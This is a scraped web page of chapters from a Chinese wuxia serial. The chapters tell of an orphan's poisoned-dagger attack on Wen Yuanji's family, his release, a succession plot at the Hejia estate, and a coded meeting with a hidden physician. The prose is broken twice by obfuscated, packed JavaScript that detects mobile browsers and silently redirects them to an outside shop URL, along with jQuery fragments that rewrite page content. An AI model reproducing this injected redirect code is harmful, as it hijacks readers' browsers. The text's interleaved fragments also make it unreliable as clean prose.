紫瑛此刻没有半点心情和他谈笑,立马问道:“这几天可有什么不知底细的人想要闯山?其中可有一个十五六岁的少年,头脸身上都受了伤?” “紫瑛姑娘是得了谁的耳报神?”守冲堂弟子瞪大眼睛笑道,“我们昨天刚抓了一个这样的小崽子。也不知道是从哪里来的,嘴硬得不得了,怎么问都不肯吐一个字出来。” 紫瑛大喜,杜彦成也终于松了口气,用力揉了两把自己被马鞍磨得疼痛不已的大腿。 “那他现在在哪?”紫瑛问。 “现在?”守卫的弟子挠挠头,问自己的同伴,“你知道昨天那个小崽子最后去哪了吗?” 另一个弟子道:“因为他不是我们的人,按理是要关押起来的。可又是个孩子不好处置,我们便将人送到了堂主那里请他定夺。现在他应该还在山上。” “他已经上了山!?那……总堂没有人……没有发生什么事情吧?”紫瑛改了两次措辞,才问出了这个问题。 “没有啊,山上太太平平的,没听说有什么事。”两位弟子虽然疑惑紫瑛的问题从何而来,但都摇着头认真回答了。 “多谢你们。”心中大石落下,紫瑛便牵着马缓缓上山,杜彦成虽然还没休息好,也只得默默跟上去。 到了半山腰,紫瑛先带他去交了马匹,然后继续上行。一直走到那一块大牌坊,杜彦成才停下来驻足仰望,望着石阶之上巍峨如云的天魄门总堂发出感叹:“这便是天魄门的所在?这般宏伟,果然是百年名门!” 紫瑛已经上了几级台阶,听到他的话才停住步子,顺着他的目光向上:“我从小长在这里,许是早就看习惯了,倒不觉得如何。“ 杜彦成赶上她,和她并肩往上走:“你是武林世家的千金,眼界自然不是我这种商人之子能够比的。” “我不是笑话你。” “知道,和你说着玩呢。”杜彦成笑道,手同时也伸了出去。 紫瑛先确认了周围没有别人,才敢伸出自己的手放在了他的手心上。两人牵着彼此一起走完了几十级台阶,直到发现江邵谦,紫瑛才蓦然松开了杜彦成的手。 江邵谦只与杜彦成打过一次照面,便是数月前他将紫瑛从贺家一路护送到太白山脚下那一回。 “有劳杜公子了。” 江邵谦走上前来,常年不苟言笑的面上竟然挂着些许笑容。紫瑛心里发虚,刚才和她和杜彦成亲密的模样定然是被他看去了。 “江前辈客气了。紫瑛姑娘因我离家,这一个多月也多蒙她开导,送她回来本是应当的。” “话虽这样说,但开春之际本就是商贾走动频繁之际,杜公子愿意暂且舍下家业,这份厚意自然是要感谢的。” 杜彦成又客气了几句,紫瑛这才捞到机会向江邵谦发问:“二叔,昨日闯山的那个小子呢?他在哪?” 她在山下打听过什么,守冲堂弟子上报之时也一并说了,所以江邵谦并无惊讶,而是一边引着他们往穿云馆的方向,一边问道:“你认识那个小子?” “他就是上回,我和师兄遇上的那伙小山匪的头目,之前我和璇儿帮过他。我估摸着他到了这儿,才马上赶回家来的。” “为什么猜到他要来,你便想着赶回来?”江邵谦极其敏锐,马上抓住端倪。 紫瑛抬脚,趴在他耳边小声道:“他叫刘从毅,是故燕山派掌门刘鼎铭的儿子。” 无需细看紫瑛略带焦急的容色,仅凭“刘鼎铭”这三个字,就足以让江邵谦警觉起来。他转头盯着紫瑛,无声地询问,紫瑛冲他点了几下头,他就明白了她担心的究竟是什么。 “难怪他一直不肯说自己是谁。”江邵谦继续往前走,表情并无变化。 “他……如今怎么样?” “不过是个小娃儿,倒也没什么威胁,我见他受了伤,便作主让他留两天,先把伤养好再看怎么处置。” “他无亲无故的,一个人很是可怜,要是可以的话,咱们能不能收留他?” 江邵谦有些踌躇,思索了一阵才道:“先不忙,我和师兄商量商量。” 紫瑛明白,不再多话。 到了穿云馆,旁氏笑着迎出来,江邵谦嘱咐她:“紫瑛回来了,你照顾一下,我去找师兄。” 庞氏仍是笑眯眯的:“好,你去忙吧。今晚上加菜,你早些回来。” 江邵谦眼角含笑,嘴巴却僵硬地很,只点了两下头便又出门去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997323|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 紫瑛跳上前挽住庞氏的胳膊,弯着一双笑眼:“和二叔和好啦?” 庞氏假装剜了她一眼:“老夫老妻的,什么和好不和好!”然后又把她拉到自己面前,仔细看了两眼,“倒是你,一声不吭地跑出去这么长时间,平白无故叫人担心。说,你去哪了?”说着,便越过她的肩膀去打量站在她身后、还稍微有些局促的杜彦成。 紫瑛半低着头,偷偷在她耳边说了一句话,引来了庞氏一个意味深长的眼神。然后她才向庞氏介绍了一遍杜彦成,说他是方瑾瑜的朋友,之前她被人追杀时还帮过自己。 “既是紫瑛的朋友,那就是咱们天魄门的客人。公子若不急着走,在山上多住几日可好?”庞氏走过来,一面不动声色的观察他,一面对他笑道。 杜彦成马上作揖,不好意思直视她的眼睛,就时不时看几眼紫瑛,尽可能稳重道:“晚辈求之不得……如此便叨扰了,有劳江夫人。” “不用客气。我们这人口少,又是山野人家,规矩比不上你们江南的大户人家,公子入乡随俗,自在些吧。” “江夫人何必太谦,天魄门乃百年名门,自有气派威仪,岂是我们这等商贾人家可比的。夫人爱护之意,晚辈心领。” 杜彦成谈吐大方,举止得体,庞氏如何能不欣赏。这般俊秀的人才,年纪又正好,恐怕来说亲的人不少,何以尚未成婚?庞氏自然而然就想到这儿,只是顾及紫瑛的面子不好询问,只能先把他们俩往里让。 紫瑛却不想进去,抓住庞氏的胳膊,问她刘从毅在哪,她想马上见到他。少不了,她也得和庞氏解释一遍刘从毅是谁,她是如何认识刘从毅的,至于刘鼎铭和文远骥的过节,三两句说不清楚,碍于杜彦成,她便暂且瞒了下来。 刘从毅如今被安置在穿云馆的客居之中,庞氏下午刚去给他送了伤药,据她说刘从毅脸上的伤已经有所好转,至少看上去没那么吓人。 紫瑛请庞氏帮她安置杜彦成,自己单独去见了刘从毅。 她推开门,发出吱呀一声,刘从毅立马警觉转身,做了个躲避的姿势,待到看清来人是谁后才放下警惕。借着窗外昏黄的日光,紫瑛发觉他眼底的震惊,以及脸上的一团红云。 “怎么……怎么是你?” 这么说,刘从毅尚不清楚紫瑛、紫璇和文远骥、天魄门的关系。 他的脸已经消肿,但青紫还在,估计衣服底下也还有不少伤口。紫瑛叹了口气,将门关好,直接走到了他的面前:“这个一会儿再说。你的伤怎么样?还疼吗?” “一些小伤,算得了什么。” 刘从毅个头比紫瑛还要高上几分,可面对一派长姐气势的紫瑛,他还是不自觉地放低了声音,回答问题时眼神也总是躲闪。 “脱下衣服我看。” “那不成!”刘从毅立刻抱住自己,身子向后侧了一下,脸上烧得更加厉害。 “一个小屁孩,害什么羞?” “我不是小屁孩,我……我马上就十六了!”刘从毅还是那么倔。 “好,既然你觉得自己长大了,那咱们就开诚布公地来一场大人和大人的对话。”紫瑛拽住他不断向后的身子,让他的眼睛对着自己,“你不远千里、几番受阻都要上这太白山来,究竟是为了什么?!” 174. 刺杀 刘从毅从未见过这般疾言厉色的紫瑛,一时间有些发懵。然而很快他便直起身子,梗着脖颈,尽可能把话说得坚硬:“这里是我爹故去的地方,我为什么不能来?!” “你要做什么?”紫瑛快步上前,逼着他面对自己,急忙问道。 她多少有些咄咄逼人的态度激起了刘从毅心中不快,他甩开紫瑛的手,向外走开几步:“我就是想来这儿拜祭一下他,这也不成吗?” 紫瑛再次追上他,坚持要和他面对面:“你说的是真的,只是想拜祭刘掌门?” “不然呢?”刘从毅也回盯着她,不服气道。 紫瑛不能肯定他说的是真话,犹豫着还要怎么问。已经坐回到凳子上刘从毅却先开了口:“你这么着急忙慌地跑来问我,难不成是害怕我会找文远骥报仇?“ 他这样开门见山,倒省了紫瑛的脑力,她也坐下来:“你是怎么知道的?” “你姓文,还能这么容易就到太白山上来,说不准就是文远骥的亲戚女儿之类的。” “我不是问这个,我问的是,你是怎么知道我爹和你爹的恩怨的?” “我一直都知道。”刘从毅撇过脸去,“我还知道我爹是自杀的,和文远骥无关。所以我不会找他报仇,你放心。” “你真这么想?”紫瑛不放心,又问了一句。 “我爹离家的前一晚,抱着我坐了很久很久。虽然没有告诉我他要做什么,但一直说他犯了大错,他必须要去认罪。我即便不清楚他和天魄门之间发生了什么,但至少明白他是自愿的。既然如此,我又何必多此一举。” 这番话情理兼通,紫瑛被说动了,她站起来,拍拍刘从毅的肩膀:“的确有些大人的样子了。你好好养伤,我去跟二叔还有我爹说,拜祭刘掌门的事包在我身上。” 文远骥得知了刘从毅的事后并没有说什么,一来他年纪小,上一辈的恩怨与之无关,而且他也不可能伤得了自己。二来此刻最令他忧心的事乃是紫璇下落不明,他即便想救人都不知道去哪里救。 许淑平坐镇贺家庄,已经着人去追踪魏菘泽的势力和老巢。江珺翊则被派往金陵,和齐建霄的人一起追查紫璇和方瑾瑜母子的下落。文远骥如今能做的,便只有继续坚固天魄门的防卫,顺便等两边的消息。 至于刘从毅表示想在山上拜祭刘鼎铭,文远骥立刻应允,还嘱咐紫瑛抽时间帮他准备祭奠用的牺牲酒果纸钱等物。 到了祭拜那天,刘从毅的面上已经看不出青紫,还从头到脚换了身新衣,看上去比刚刚上山之时精神不少。文远骥提前告诉紫瑛,今日的祭拜他也会同去,紫瑛想了又想,最终在临出门时带上了王三山给他的百忧解,就当是为了让自己多一重心安吧。 刘鼎铭当年于太白山自戕后,文远骥将他葬于后山,还立了一块小小的墓碑。因无人祭奠,碑脚上生出了不少杂草。杜彦成帮着紫瑛,提前除去丛生的杂草,将墓地完完全全打扫了一番。 刘从毅于前一日斋戒,清晨起来,由紫瑛引导到了刘鼎铭埋骨处。按照祭礼,他环绕墓碑三周,为墓碑掸去灰尘。继而献上牺牲,行叩拜先人的大礼,最后奉祭酒、烧纸钱。整个过程中,他都极力克制着情绪,绝不能让自己掉一滴眼泪。 紫瑛和文远骥立于他的身后,默默注视着他,暗自唏嘘。 刘从毅祭祀毕,文远骥上前,示意他把酒拿给自己,他也想祭奠一下这位说不上是敌还是友的故人。 刘从毅立在一侧,取过酒杯先递给文远骥,自己执酒壶给他倒了一杯。 “刘掌门,多年不见,你在地下可还安乐?当年恩怨起,今时云烟过,十年够长了,足以让文某放下这段前尘往事,今日就用这一杯酒与你揭过这段孽缘罢。” 文远骥将酒洒在墓前,一扬手,刘从毅再次将酒杯填满。 “刘掌门虽有过错,却能幡然醒悟,以一己之身换我一个不伤害燕山派的承诺,这份担当与胆气,文某从来都是极为佩服的。第二杯酒,就敬贤兄清明高义。” 侍立一旁的刘从毅听到父亲舍命的初衷,再能忍也不禁落下了一滴泪。 “世道轮回,谁知有朝一日小女竟然能与令郎结为挚友,我竟想不出比这更好的消弭仇恨的方式。”文远骥笑得从容又欣慰,“恩怨了,情谊结,最后一杯,便敬一敬这生意不息、自有其理的天道吧。” 紫瑛红着一双眼,看看身形孤寂、此刻却无比平静的刘从毅,再看看杯酒泯恩仇的父亲,很是满足,不由自主地想要靠近身后的杜彦成,想把此刻的喜悦分享给他。 然而她刚刚转身,就看到从他的位置上冲过来一团黑影。伴着一声凄厉的“小心!”,她再转过头,看到的便是轰然倒塌的杜彦成和近在咫尺的刘从毅,以及他手中还在滴血的匕首。 就在文远骥说完最后的祭辞,向墓前洒下第三杯酒而紫璇的时线刚刚离开前方之时,刘从毅骤然蹿出,同时伸手入怀取出潜藏在内的匕首,朝着紫瑛的后背猛砸了下去。若非杜彦成一直瞧着紫璇,率先发现刘从毅奔来同时闪现的寒光,受伤到底的必然会是她。 紫瑛脑仁嗡嗡作响,几乎是本能的趴跪下去,想将杜彦成扶起来。可她身子尚未稳定下来,杜彦成腰上使劲,猛地将她护在了自己身下。也正因为这勉强的行为,使得他又多吐了一口鲜血出来。比这更可怕的是,这口血是黑褐色的。 “有毒!” 其实,刘从毅想发起第二次刺杀时,文远骥就已然期身赶来,扭住了他的胳膊,打落凶器的同时点了他的穴道。 刚赶到杜彦成身边就看到他口吐黑血,明晃晃的中毒症状,原来刘从毅深知自己武力一般恐难报仇,便事先涂了毒药在匕首上。可是,他哪来的毒药和凶器?! 文远骥顾不上多想,旋即示警,守山的山民立刻出现,看着此处的狼狈情景,问他:“门主,怎么了?” “去找两个人来将他抬走,再烦你跑一趟,去政事堂找邵谦,请他把大夫寻来等我。” 山民应声而去。 文远骥这才捡起刚才落到地上的匕首,小心用袖笼包裹住把手,拿起来小心翼翼地查看。紫瑛已经从杜彦成身下翻起,正将他抱在怀里,低声唤着他的名字。杜彦成毫无回应,眼睛也紧紧闭着,只有微弱的鼻息证明他还没有走到生命的尽头。不远处,刘从毅虽不能动,眼睛却一眨不眨地盯着紫瑛,脸上汗水涔涔而下,说不上是因为紧张还是因为愤恨。 “是蛇毒。” 文远骥辨认出匕首上的毒并不罕见,后山上多的是有毒的虫蛇,刘从毅很可能是从它们身上收集来的毒素。 紫瑛听说,急忙去摸自己袖中的药瓶。可文远骥比她快,他出指封住杜彦成伤口上下的两处大穴,然后用内力逼出杜彦成体内的毒血。再也逼不出来的时候,才又把杜彦成交给紫璇,自己从袖中取出药盒,将一丸药弹入他口中。 这是徐淑平炼制的解毒丸,在润州找王三山的时候紫瑛就吃过,看到它,她的心总算是安定一些了,又帮着文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009421|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远骥给杜彦成先简单包扎一下伤口。 过了一会儿,杜彦成醒了过来,稍稍一动便牵扯伤口,痛得呲牙咧嘴。 紫瑛半抱着他:“别乱动,爹已经叫了人来,一会儿回到家里,我再给你重新上药包扎。” 杜彦成抬头就看到了定住的刘从毅,骂道:“你个小兔崽子怎么还要伤人?” 文远骥没点刘从毅的哑穴,可他全程不发一语,显然是又准备做个哑巴。 紫瑛失望地看了他一眼,对杜彦成道:“他骗了我。我还以为,至少对我他还是会说实话的,没想到……” 说着她便哭了起来,一半是出于刘从毅利用自己的遗憾,另一半则是对杜彦成差点中毒殒命但最终生还的庆幸。 看着他哭,杜彦成也顾不得疼,立刻扬手想替她拭泪,却被她马上按住:“都说了别动,牵动了伤口不是闹着玩的!” “我知道了,你别生气,也不要哭。我没死,好着呢。”刘从毅赶紧道歉,也没忘了安慰她。 紫瑛扁着嘴巴,哭得更厉害了。 这边杜彦成手足无措,想做什么又不敢,那边刘从毅也有些后悔,听见紫瑛的哭声也控制不住红了眼眶。 文远骥默然看着他们三人,心中发出了一声又一声的叹息。 随后杜彦成被抬走,去做进一步包扎医治,紫瑛也跟了过去。刘从毅则被文远骥亲自押到了政事堂。江邵谦早就等在那里,只和文远骥对视了一眼,就明白刚刚发生了什么。 文远骥瞧着被点了穴,却还要倔强地仰起脖子的刘从毅,带着痛惜道:“原来你还没有放下这段所谓的仇恨。” “如果不是你,我爹怎么会死?燕山派又怎么会失去掌门人的庇佑,一夕倾覆?!只有杀了你才对得起我爹我娘还有燕山派枉死的老老少少。”刘从毅手脚被禁锢,只能靠狰狞的面目和高声的叫喊来宣泄他心中的愤怒。 他这般暴躁,也激起了文远骥心中的痛楚,他慢慢竖起眼睛,冷着语调道:“既然要清算,就得把账算清楚!你就没问一问,你爹缘何要自己跑到太白山来寻死吗?” “是你逼他来的!”刘从毅吼道,“你用燕山派上下的性命威胁他,他不得不来,不得不用自己的命交换其他人的命!” “是吗?哈哈哈哈……” 这二十年来,关于文远骥的谣言一个又一个,很多他都不屑去辩驳,总相信清者自清,时间总能说明一切。可今天,对着这个毛头小子,他却突然不想委屈自己了。 “狗屁!若非他听信谣言,伙同其他天魄门的旧人弄出夺门之变,他又何须自愧到夜不安寝、食不下咽??我四处寻仇,他怕我找到他的头上,害了自己的家人故旧,这才急匆匆上山来,愿意以死谢罪。”文远骥怒视着刘从毅,冲着他脸上喊道,“这就是你所谓的‘逼死”??!告诉你那些虚言的人可有详细说一说我为什么要逼他去死吗??!“ 刘从毅哑口无言,文远骥的愤概是如此真切,他很难不听进去,可他也没那么容易骤然相信另一套说辞。 “他倒是好!一死以求心安!可我呢!我的爱妻被他们逼死,两个女儿在一夜之间失去了娘亲,我到哪里去找心安??我杀了那么多人又如何,她也不会回来,一切都不会回到从前!你有恨,难道我就没有吗??!” “她们……她们也……”想到紫瑛和紫璇竟也和自己有相似的命运,刘从毅的心猛地顿了一下。难道,难道我真的错怪了文远骥?难道爹爹当年真的犯下大错? 175. 交易 刘从毅抬眼审视着文远骥,蓦然瞄到他鬓间的几丝白发和此刻望着不知何处充满悲伤的眼神,和当年与自己告别时的爹爹一模一样。 爹爹当年一定也和他一样舍不得妻儿受苦吧,可是命运竟这样无情,他舍命想要保全的燕山派竟然在不久后覆灭,迄今也无人确知到底是谁犯下了此等罪行。 他颠沛流离多年,本以为就会这样将就活着,然后死在一次偷鸡摸狗途中,却不想又遇到了紫璇,居然学到了爹爹的成名绝技。这番机遇立刻让他燃起了复仇之心,如今他有了力量,必须要给父亲、母亲,还有自己,讨回公道。公道在哪里?他所知的仇人似乎只有文远骥一个,哪怕不那么确信,他也必须让他给自己一个说法,否则着么长时间以来的恐惧、委屈还有愤怒都会没了着落。 可是……他第一次意识到,爹爹可能才是那个罪人。 “当年你父亲害怕我会找找燕山派寻仇,便先一步上了太白山。”文远骥的声音隔了许久再度响起,已经没了刚才的激昂,反而有些虚弱,“但除了他本人,我并没有动过伤害燕山派其余众人的心思。祸不及父母妻儿,我恨意再深报仇之心再切也不会打破这条江湖规矩。” 文远骥站起来,平视着刘从毅:“所以,我也不会迁怒于你。今日,念在你年纪尚小,又不明其中详情,我便放了你。若你仍然执迷不悟,下次又伤了谁,就别怪我直接按照江湖规矩来办!” “你……要放了我?”原本还沉浸在上一波思绪中的刘从毅听到最后一句,脑子更加发懵,都怀疑是自己听错了。 “对。不过要等一等。” 刘从毅心中忐忑,不知文远骥在释放自己之前还要怎么折磨他,却在看到一把大刀时傻了眼。 刀是江邵谦送来的,他双手捧着,直接送到了刘从毅眼前。 “这把刀你可认得?”文远骥自江邵谦手上取过刀,问他。 他怎么会不认得!这是刘鼎铭每天无论坐卧都须臾不曾离身的刀,只有在心情极度愉悦时才会允许他轻轻摸一摸的刀。 “刘掌门就是用这把刀自刎的。”文远骥望着那把刀,眼含痛惜,“它在我这里放了快十年了。瑛儿告诉我,璇儿之前已经将五峰刀尽数传给了你,如今把刀也还给你。望你今后练功有成,把力气多花在那些真正有意义的事情上。” 说罢,他解开刘从毅的穴道,把刀递给了他。 刘从毅轻轻接过,婆娑着不那么光鲜的刀柄,凝视着有几处显眼划痕的刀背,一时间五味杂陈,不知道该作何表情,作何回应。 江邵谦盯着这个心智尚不成熟的年轻人,有些于心不忍,又用长辈口吻叮嘱他:“江湖是非最多,你年纪小,更要多听多看多思。千万不要没头没脑地做了别人的刀。你父亲拼却一条性命就是想保住你们的安康。你的命运尚不算差到了极点,既然逃过了无端的灾祸活了下来,就不要再让刘掌门的一番苦心付诸东流。好好练功,将五峰刀发扬光大,你才算对得起他。” 刘从毅喉头耸动,想起父亲苦心孤诣,临死前都在为自己和燕山派筹谋,更加难以自制。他握紧父亲的刀,含着热泪跑了出去。 ******************** 贺家庄庄主书房内,贺新塬坐于书案后,手中拿着一份手下刚刚呈上来的消息,沉思着。 贺新韵推门而入,不满地瞧了他一眼:“你找我?” 贺新塬立刻起身,把位子让给她,自己则坐在书案对面的客座之上。 “有什么事?”贺新韵问。 贺新塬只犹豫了一刹那,最后还是按照预先的计划道:“姐,孙博到底去哪里了?” “不是告诉你们了吗?他回家去禀明父母我跟他的事,然后回来下聘。”贺新韵漫不经心地回答。 “是吗?”贺新塬心中冷笑,挑眉问道,“难不成这孙博的父母住在洛南曹家堡?” “曹家堡”三字一出,贺新韵再难沉得住气,她旋即站起,一脸震惊。 贺新塬同样起身,指着书案上的消息:“自去岁贺家大乱后,卢金良那边我们一直有人盯着。三日前,探子亲眼目睹孙博进了曹家堡,直到第二天晌午都没有出来。” 贺新韵坐回庄主之位,一言不发,等着贺新塬继续说下去。 贺新塬起身上前:“有句话,即便姐姐不愿意听,我今日也不得不说了。” “哦,那倒要请教。”贺新韵语气冷谈,显然负了气。 “姑母刚刚身故,孙博便出现了,你不觉得其中有些蹊跷之处吗?” “巧合而已。他也是听闻我回来了才找过来的,时间对的上。”贺新韵辩说。 “你和许前辈原本和睦亲密,他一来,就挑唆得你们母女形同陌路,难道说这一点也是巧合吗?”贺新塬急道。 “你少胡言乱语!孙博从未挑唆过我和娘的关系,他还总劝我与之修好,莫要伤害得来不易的母女之情呢。是我自己突然醒悟了,和他没有半点关系。” “好,”贺新塬压住不悦,继续道,“就算他真的是为了你俩的情义而来,就算他不曾离间你们母女的关系,那他如今跑去曹家堡,成为卢金良的座上宾,难道也是巧合、也是无心吗?” 贺新韵抬眼瞧着语气激动的他,轻笑道:“这自然不算巧合,是我让他去的。” 贺新塬眼睛登时睁大,难以置信道:“你让他去的?!” “对,是我告诉他曹家堡的位置,让他替我送一封信给卢金良。”贺新韵半倚在太师椅上,似乎刚刚所说,不过是寻常闲话。 相比于她的漫不经心,贺新塬显然被事情的真相冲击到了:“什么信?” “一封表示愿与他合作的信。” “你要做什么?”贺新塬紧紧盯着对面贺新韵的每一个表情,似乎想从她的脸上看出她的真实想法。 贺新韵的眼神却毫无波澜地回望着他,停了停才道:“贺新塬,咱们来做个交易怎么样?” “什么交易?” “你帮我瞒住这个消息,不要把它捅给许淑平,我便把庄主之位让给你。” 贺新塬不自觉地深吸了一口气:“你要把庄主之位让给我?许前辈同意吗?” “贺家庄姓贺,不姓许,也不信文,她不同意又能怎么样?” “可如今贺家庄重归天魄门,庄主的人选不能不经过太白山的同意。” “所以我才要联络卢金良呀。”贺新韵身子向外探出少许,笑得极为阴沉。 “你联络卢金良,是想利用他背后的魏菘泽,将贺家庄从天魄门手上夺回来?” “不错!上次庄内遽变,卢金良敢那样行事,背后一定有更大的势力。与其受制于天魄门,我们不如找个更大的靠山,岂不快哉?” “可这样做对你有什么好处?”贺新塬仍然有些怀疑。 “好处?脱离天魄门,让贺家庄重回无门无派、独善其身的状态不好么?” “你借卢金 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“我确实不满贺新峦,因为与他在公事上的意见不合,我还和他大吵了一架。可父亲却只维护他,指责我僭越不端!我再气不过也只能暂时忍耐。直至成婚后我有了借口,才执意要求分家……如果不是姑母……我可能一辈子都不会再踏入贺家庄了。” 贺新韵从书案后走出,拍着贺新塬的肩膀软语道:“你的委屈我都知道。我是女子之身,做这个庄主本就勉为其难。如今孙博回来了,我只想和他厮守终身,这些劳心费力的事一点儿也不想多干。正好你有意,我为何不放手?事成之后,我过我的逍遥日子,你做你的一庄之主,咱们两相便宜,岂不是最好的局面?” 贺新塬沉默良久,最后在贺新韵的注视下点了点头。交易达成,贺新韵不再多话,挂着胜利的微笑步出了书房。 贺新塬的贴身小厮恭恭敬敬地送走她后,立刻进门,来到自家少爷身边。贺新塬将书案上的纸张交给他;“找个无人的地方烧掉。” 小厮接过来,又觑着他光彩熠熠的脸庞,问道:“少爷,事情成了?” 贺新塬望着贺新韵刚刚离去的方向,点了下头。 小厮立即喜笑颜开:“这才对嘛。姑太太也就算了,她年纪轻轻,不过是个没见过世面的女人,却要来做贺家庄的庄主,说出去外面的人不知道要怎么笑话贺家呢。咱们庄里的下人也时不时偷偷念叨,‘还是得来个男人做咱们的庄主’……” 贺新塬抬手打断他:“事情刚开了个头,越是这种时候越不能大意。在人前你莫要喜形于色,一定要恭顺,记住了吗?” “小的记住了,请爷放心。”小厮马上收敛表情。 几天后,孙博回到贺家庄,带来了卢金良的回信。他同意与贺新韵合作:贺新韵交出藏宝图,卢金良帮贺家庄脱离许淑平的控制,但他必须先确认藏宝图真的在她的手中。 “他准备什么时候来确认?”贺新韵问。 “卢堡主说,和你的会面最好能避开许淑平的耳目。所以他会在许淑平离开贺家庄时亲自来此。” 贺新韵疑心道:“那得等到什么时候?许淑平如今可没有要离开的意思。” “卢堡主似乎有办法调开许淑平,我们再耐心等一等吧。” 孙博满面春风,颇有得色,贺新韵瞧了他一眼,也渐渐露出笑意。 176. 哑谜(一) 魏菘泽的故事正中温叔下怀,如今魏菘泽最为挂心之事便是魏若琛垂危的性命,只要是声称能够救他儿子的,他都会先放下所有怀疑去尝试。所以一听到这世间还有一个能够治疗心疾的隐世神医,即便苏茂霖再三强调自己和他仅有一面之缘,也不确定这位神医是否依旧隐居南阳,温叔还是坚持请他不辞辛劳,亲自跑一趟,务必寻了这位神医前来。 因此,在他和桑大夫斟酌用药的第二天,他便按照和紫璇事先的计划踏出了无锡魏宅的大门。只不过,温叔作为魏菘泽最为得力的心腹,即便愿意暂且放下疑虑,也不代表他没有怀疑。于是,他以协助为名,派了五个人和苏茂霖一同赶赴南阳。其中领头的名叫黄昆,苏茂霖最初被带到魏菘泽面前时就见过他,知道他是出身洛阳金刀门的高手。 温叔会派人随行早在苏茂霖和紫璇的计划之中,不拒绝、还要真的让他们帮忙在南阳四处寻找,才能显得确有其事,让魏菘泽少一层防备之心,将来救人时便多了一份胜算。只不过,如何在黄昆面前与骆雁声沟通而又不暴露他的真正目的就变成了此行最大的难点。 一行人来到南阳,四处寻找一位姓“骆”的神医,自然没有什么收获。 苏茂霖便提出,神医隐姓埋名,从姓氏着手怕是南辕北辙,或许只问此处是否有个深居简出的神医更有可能找到他。果然,他们换了打听的方式之后,陆陆续续有几个人答说南阳城里的确有这样一个人,虽不是大夫,但偶尔有患了疑难杂症的人被他遇上,他总有办法为他们解除病痛,有时直接能手到病除,极为神奇。 再问他们可否知道这位高人的住处,只有一个人说得出来,和苏茂霖从紫璇那里得来的一致。以上所有探问的过程都由黄昆把控,得出来的消息自然不会被怀疑。众人当天便按照那人所说找到了骆雁声居住的小院,叩开了门。 开门的是王六,如今院中只有他和骆雁声。其余人都还在隔壁的大院给孩子们上课和准备晚饭。 黄昆道明来意,说要找一位姓骆的神医。除非被他外出遇上,否则骆雁声从不主动为人诊治,自然也不会在家里收治病人,王六知道他的脾气,立时便回绝道:“这里没有什么神医,你们找错人了。”然后便要关门。 在他关门之前,苏茂霖飞快走上几步,一扬袖子,用右手把住门:“这位小哥,我与神医数年前有过一面之缘,如今辛苦寻来,真心是因为托到我这里的一位病人命不久矣,如果神医不肯出山,他就没有活路了!还请小哥替我们通传一声,就当是做一件功德。“ 他声情并茂地说了一长串,黄昆和后面的随从们纷纷附和,可王六的注意力却被苏茂霖右手手腕上的一抹绿色吸引了过去。苏茂霖故意露出此物,王六便知他是自己人,而且很有可能所求与他表面说的并不一致。 于是,他不再执意闭门谢客,而是说了句留有余地的话:“那你们在门上等着,我得去问问先生的意思。” 等到他再度出现,果然变了态度:“先生很少见外人,你们人太多了,他看着心烦,只会更难说话,最好只进去一个人。”王六一边说一边递眼色给苏茂霖。 苏茂霖当然明白他暗示什么,却不敢留有一点让魏家起疑的可能性,因此指着黄昆道:“这位黄昆黄贤弟,是病者家里派来与我同求神医出山的。毕竟是关乎人命的事情,若少了主家的人,我怕将来有什么不妥,在下分说不清楚。可否请小哥代为致意,请神医允许我们两个一起进去。” 王六点头,又去传了一次话,这才带着苏茂霖和黄昆去见骆雁声。 骆雁声从王六的描述中已然得知,苏茂霖有手绳,且说话隐晦,似乎很避忌同来之人。如此,自己最好多听少说,总要先弄清楚到底是哪一位故人求助,才好再决定怎么办。 苏茂霖和黄昆道明身份,被让到下首入座。 苏茂霖先道:“多年不见,神医和我记忆中却没有什么两样,反而更见年轻。” 骆雁声本就比同龄人看上去年轻几岁,苏茂霖这样说既是为了恭维他,更是为了向黄昆展示自己真的在过去见过骆雁声。 骆雁声当然不认得他,但怕说错话使他暴露,便没有回应,在黄昆看来,这便是这位神医为人高傲、不肯下交的表示。 “在下近日收了一位病人,自小患有心疾,如今已到了膏肓的地步,以我的能力恐怕只能稍作拖延,医不了根本,无奈之下才想到来南阳寻一寻神医,或许他还能有救。” 黄昆也不住点头,深怕神医一口回绝。 骆雁声不语,示意苏茂霖继续往下说。 “病者是一位二十三岁的年轻男子,幼时便极为瘦小,又体弱多病,汤药未尝间断。七八岁上被名医断出心疾,迁延至此。其脉象紧而浮,发病时绷急有力,如牵转绳索;又如水漂木,重按则稍减而不空。多年来有赖数名医道高手悉心照顾,病人虽发病频繁但不致命,不过也总是治不了本,随着他年岁渐长,情况便不容乐观。” 在陈述脉象时,苏茂霖说得很慢,像是怕骆雁声听漏了什么似的。他刚刚说了两句,骆雁声已经明白,这根本不是什么心疾的脉象,而是寒症。而他认识的人之中只有一个人可能会有此脉象。 有了这最关键的答案,骆雁声微微点头,顺着苏茂霖的话开口:“听你所说,这位病人的病情迁延已久,且是痼疾,即便我出手也不见得能逆转天意。” “我等所求的确颇为不易。可如今这位公子性命垂危,在下束手无策,左思右想,唯有求您援手。还望神医看在过往的些许情分上,答允我们吧。” 骆雁声了然,故作踌躇道:“我多年未出南阳城,这实在是……” “我家主人家财万贯,只要先生肯出山,即便最后还是回天乏术,他老人家也必然会感念先生大恩,诊金之类的根本不在话下。”黄昆立马出声,希望用金钱打动他。 